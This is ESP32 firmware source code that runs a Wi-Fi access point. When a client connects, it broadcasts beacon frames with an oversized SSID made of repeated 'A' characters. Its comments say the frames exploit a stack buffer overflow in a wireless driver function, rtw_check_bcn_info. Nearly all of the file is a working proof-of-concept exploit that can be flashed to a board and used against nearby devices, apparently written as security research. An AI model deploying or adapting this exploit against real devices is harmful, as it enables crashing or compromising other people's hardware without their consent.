|
// Modified heavily from https://github.com/Jeija/esp32-80211-tx/blob/master/main/main.c |
|
#include "freertos/FreeRTOS.h" |
|
|
|
#include "esp_event.h" |
|
#include "esp_system.h" |
|
#include "esp_event.h" |
|
#include "esp_wifi.h" |
|
|
|
#include "nvs_flash.h" |
|
#include "string.h" |
|
|
|
|
|
#define BEACON_SSID_OFFSET 38 |
|
#define SRCADDR_OFFSET 10 |
|
#define BSSID_OFFSET 16 |
|
#define BSSID_VAL_BYTE_LENGTH 6 |
|
|
|
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq); |
|
|
|
uint8_t CURRENT_AP_BSSID[BSSID_VAL_BYTE_LENGTH]; |
|
|
|
uint8_t beacon_raw[] = { |
|
0x80, 0x00, // 0-1: Frame Control |
|
0x00, 0x00, // 2-3: Duration |
|
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // 4-9: Destination address (broadcast) |
|
0xba, 0xde, 0xaf, 0xfe, 0x00, 0x06, // 10-15: Source address |
|
0xba, 0xde, 0xaf, 0xfe, 0x00, 0x06, // 16-21: BSSID |
|
0x00, 0x00, // 22-23: Sequence / fragment number |
|
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // 24-31: Timestamp (GETS OVERWRITTEN TO 0 BY HARDWARE) |
|
0x64, 0x00, // 32-33: Beacon interval |
|
0x31, 0x04, // 34-35: Capability info |
|
0x00, 0x00, /* FILL CONTENT HERE */ // 36-38: SSID parameter set, 0x00:length:content |
|
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24, // 39-48: Supported rates |
|
0x03, 0x01, 0x01, // 49-51: DS Parameter set, current channel 1 (= 0x01), |
|
0x05, 0x04, 0x01, 0x02, 0x00, 0x00, // 52-57: Traffic Indication Map |
|
|
|
}; |
|
|
|
static esp_err_t send_beacon(const uint8_t * ssid_contents, size_t ssid_contents_len, uint8_t bssid_val[BSSID_VAL_BYTE_LENGTH]) |
|
{ |
|
const size_t MAX_BEACON_FRAME_LEN = 512; |
|
|
|
uint8_t beacon_frame[MAX_BEACON_FRAME_LEN]; |
|
size_t total_len = ssid_contents_len + sizeof(beacon_raw); |
|
|
|
if (total_len < ssid_contents_len) |
|
{ |
|
printf("[-] Tsk tsk.. Beacon frame content length overflow with %u bytes in SSID\n", ssid_contents_len); |
|
return ESP_ERR_INVALID_ARG; |
|
} |
|
|
|
if (total_len >= MAX_BEACON_FRAME_LEN) |
|
{ |
|
printf("[-] Tsk tsk.. Invalid beacon frame size. SSID len %u too large\n", ssid_contents_len); |
|
return ESP_ERR_INVALID_ARG; |
|
} |
|
|
|
memcpy(beacon_frame, beacon_raw, BEACON_SSID_OFFSET - 1); |
|
beacon_frame[BEACON_SSID_OFFSET - 1] = ssid_contents_len; |
|
memcpy(&beacon_frame[BEACON_SSID_OFFSET], ssid_contents, ssid_contents_len); |
|
memcpy(&beacon_frame[BEACON_SSID_OFFSET + ssid_contents_len], &beacon_raw[BEACON_SSID_OFFSET], sizeof(beacon_raw) - BEACON_SSID_OFFSET); |
|
|
|
memcpy(&beacon_frame[SRCADDR_OFFSET], bssid_val, BSSID_VAL_BYTE_LENGTH); |
|
memcpy(&beacon_frame[BSSID_OFFSET], bssid_val, BSSID_VAL_BYTE_LENGTH); |
|
|
|
return esp_wifi_80211_tx(WIFI_IF_AP, beacon_frame, total_len, true); |
|
} |
|
|
|
static void wifi_event_handler(void* arg, esp_event_base_t event_base, |
|
int32_t event_id, void* event_data) |
|
{ |
|
if (event_id == WIFI_EVENT_AP_STACONNECTED) |
|
{ |
|
printf("[+] STA Connected\n"); |
|
printf("[+] p0p g03s 7h3 w3453l!\n"); |
|
// Exploit the stack buf overflow in rtw_check_bcn_info |
|
// Drop an SSID (IE tag 0) that's over the max size of an SSID IE per spec (32 bytes) |
|
// Func will memcpy it into a 36 byte buffer on stack and that's that |
|
// Conditions: |
|
// 1. Device must be connected to an AP |
|
// 2. Beacon sent must match the AP's BSSID |
|
const uint8_t BEACON[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; |
|
for (int i = 0; i < 10; ++i) |
|
{ |
|
send_beacon(BEACON, sizeof(BEACON), CURRENT_AP_BSSID); |
|
vTaskDelay(pdMS_TO_TICKS(20)); |
|
} |
|
} |
|
} |
|
|
|
void app_main(void) { |
|
// Initialize NVS |
|
esp_err_t ret = nvs_flash_init(); |
|
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { |
|
ESP_ERROR_CHECK(nvs_flash_erase()); |
|
ret = nvs_flash_init(); |
|
} |
|
ESP_ERROR_CHECK(ret); |
|
|
|
ESP_ERROR_CHECK(esp_netif_init()); |
|
ESP_ERROR_CHECK(esp_event_loop_create_default()); |
|
esp_netif_create_default_wifi_ap(); |
|
|
|
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); |
|
|
|
ESP_ERROR_CHECK(esp_wifi_init(&cfg)); |
|
ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); |
|
|
|
ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_event_handler, NULL, NULL)); |
|
|
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP)); |
|
wifi_config_t ap_config = { |
|
.ap = { |
|
.ssid = "test", |
|
.ssid_len = 0, |
|
.channel = 1, |
|
.authmode = WIFI_AUTH_WPA2_PSK, |
|
.password = "testtest", |
|
.ssid_hidden = 0, |
|
.max_connection = 4, |
|
.beacon_interval = 60000 |
|
} |
|
}; |
|
|
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config)); |
|
ESP_ERROR_CHECK(esp_wifi_start()); |
|
ESP_ERROR_CHECK(esp_wifi_set_ps(WIFI_PS_NONE)); |
|
ESP_ERROR_CHECK(esp_wifi_get_mac(WIFI_IF_AP, CURRENT_AP_BSSID)); |
|
|
|
printf("[+] WiFi AP ready\n"); |
|
|
|
//xTaskCreate(&spam_task, "spam_task", 4096, NULL, 5, NULL); |
|
//xTaskCreate(&test_task, "test_task", 4096, NULL, 5, NULL); |
|
} |